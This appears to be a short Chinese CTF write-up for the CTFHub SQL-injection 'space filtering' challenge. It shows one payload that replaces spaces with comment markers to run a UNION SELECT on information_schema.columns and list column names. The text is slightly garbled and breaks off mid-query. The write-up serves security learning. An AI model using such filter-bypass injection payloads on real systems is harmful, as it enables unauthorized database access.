CTHHub Web技能樹-sql注入-空格過濾

1、解題 這道題的做法主要就是找到繞過過濾空格的辦法，我用的是 "/* /" 註釋來代理空格，做法還是和整數型 一樣的，所以我就放一個語句和截圖就好了 查詢列名的語句： -1/ /union/ /select/ /1,group_concat(column_name)/ /from/ /information_schema.columns/ /where/ */table_name=‘xgnrvt

>>阅读原文<<